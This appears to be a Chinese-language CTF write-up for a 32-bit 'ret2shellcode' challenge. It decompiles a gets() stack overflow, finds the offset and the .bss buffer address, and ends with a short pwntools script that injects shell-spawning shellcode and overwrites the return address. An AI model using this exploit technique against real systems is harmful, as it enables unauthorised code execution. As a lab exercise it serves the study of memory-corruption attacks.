checksec一下,发现所有保护都关闭了。
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 char s; // [esp+1Ch] [ebp-64h] 4 5 setvbuf(stdout, 0, 2, 0); 6 setvbuf(stdin, 0, 1, 0); 7 puts("No system for you this time !!!"); 8 gets(&s); 9 strncpy(buf2, &s, 0x64u); 10 printf("bye bye ~"); 11 return 0; 12 }
用IDA打开观察,存在gets函数,可以栈溢出,然后buf2是一个在bss段的全局变量。
双击buf2,可见它的地址是0804a080。
通过IDA可以看到,这里的s的地址是ebp-64h。
但是实际上这个为98-2c=6c,动态调试的才是真的地址。
还有一个地方,也跟着IDA中显示的不一样,上图是按CTRL+s查看的各个区域的权限,可以发现这里的bss段是没有x执行权限的。
而在pwntools中,却显示的有x执行权限。这里同样也是动态调试显示的信息为准。
因为bss段有rwx权限,且源码中存在向这个段中的buf2赋值的语句,那么我们就可以写处shellcode,并且把返回地址改成这个buf2的地址,就能够拿到shell了。
1 from pwn import * 2 io=process('./ret2shellcode') 3 print(io.recv()) 4 io.send(asm(shellcraft.sh()).ljust(0x6c+4,b'A')+p32(0x0804A080)) 5 io.interactive()